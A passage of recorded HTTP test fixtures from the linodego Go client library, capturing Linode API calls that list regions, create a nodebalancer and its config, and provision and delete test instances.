- "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:52:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876288 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:52:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerNode_Get.yaml000066400000000000000000001236401474652371000322400ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":1136777}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 1017187, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-46-104.ip.linodeusercontent.com", "ipv4": "172.105.46.104", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "337" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017187/configs method: POST response: body: '{"id": 1680037, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 1017187, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-94737sk4bete","root_pass":"blX$}HX5L6yu\u003e.t27E:4gyGK8Z7)K9)37506oXhCzYgXE)m,Ej*2;$]5{0/ubP}e","image":"linode/debian9","firewall_id":1136777,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66622254, "label": "go-test-ins-94737sk4bete", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.86"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, 